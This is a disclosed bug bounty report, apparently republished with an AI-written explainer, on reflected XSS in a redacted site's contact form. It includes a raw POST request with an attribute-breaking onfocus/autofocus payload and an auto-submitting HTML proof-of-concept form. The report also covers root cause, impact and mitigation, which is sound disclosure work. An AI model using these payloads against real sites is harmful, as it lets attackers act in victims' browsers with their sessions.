RXSS on ███████
The contact form on the site did not properly filter the name field, so a double quote could be inserted to break out of an HTML attribute and add an event handler. An attacker could get script to run in a victim's browser in the context of the site.
- Triaged in under an hour
- Fixed in 7 days
- Disclosed after 2 months
I found Reflected XSS on https://███/contact-us/#.YsSAGCNBzaQ.
The parameters in the contact form are not properly filtered, leading to possible insertion of " characters and javascript execution
Impact
Perform any action within the application that the user can perform. View any information that the user is able to view. Modify any information that the user is able to modify. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
System Host(s)
███████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
- Use this code in your BurpSuite Repeater.
POST /contact-us/ HTTP/1.1
Host: ███████
Cookie: wire=kh92hb67grih1376an7igoeo39; _ga_877MBKEB9K=GS1.1.1657044258.1.1.1657044351.0; _ga=GA1.2.58467857.1657044259; __atuvc=2%7C27; __atuvs=62c47d237cd3f8d9001; __atrfs=ab/|pos/|tot/|rsi/62c47d0400000000|cfc/|hash/0|rsiq/|fuid/d2cfdda4|rxi/|rsc/addressbar|gen/1|csi/|dr/; _gid=GA1.2.2089900381.1657044260; wires=cqr7lhfhfudpdntime6mevkslt; _gat_gtag_UA_377760_26=1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Origin: https://██████
Referer: https://████████/contact-us/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
name="%20onfocus=alert('tmz900')%20autofocus//"&email=test%40gmail.com&phone=1234567895&message=test&submitted=submitted&g-recaptcha-response=
- You will see an alert box pop up:
█████████
- Or you can use this code test on html file:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://████/contact-us/" method="POST">
<input type="hidden" name="name" value="" onfocus=alert('tmz900') autofocus//"" />
<input type="hidden" name="email" value="test@gmail.com" />
<input type="hidden" name="phone" value="1234567895" />
<input type="hidden" name="message" value="test" />
<input type="hidden" name="submitted" value="submitted" />
<input type="hidden" name="g-recaptcha-response" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Suggested Mitigation/Remediation Actions
Filter input on arrival Encode data on output Use appropriate response headers Content Security Policy.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the name field was inserted into an HTML attribute without output encoding, so a double quote could close the attribute and add a new event handler.
Impact
An attacker could perform any action the victim can perform, view their information, modify it, and launch attacks that appear to come from the victim.
What the attacker needed
Victim submits or is tricked into submitting the form
The fix
The report recommends filtering input on arrival, encoding data on output, setting appropriate response headers and using a Content Security Policy.
How it was found
- Send a POST request to the contact page with the name field containing a quote and an autofocus event handler.
- Observe the alert box appear in the response.
- Alternatively, host an HTML page that auto-submits the same form to trigger it cross-site.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A reflected cross-site scripting (XSS) bug means the site takes something you type, such as your name in a contact form, and puts it straight into the page without cleaning it. If the text contains special characters, it can trick the browser into running code the site did not intend. Here the name field let a quote character through, which broke out of an HTML attribute and added an autofocus handler that fires an alert.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.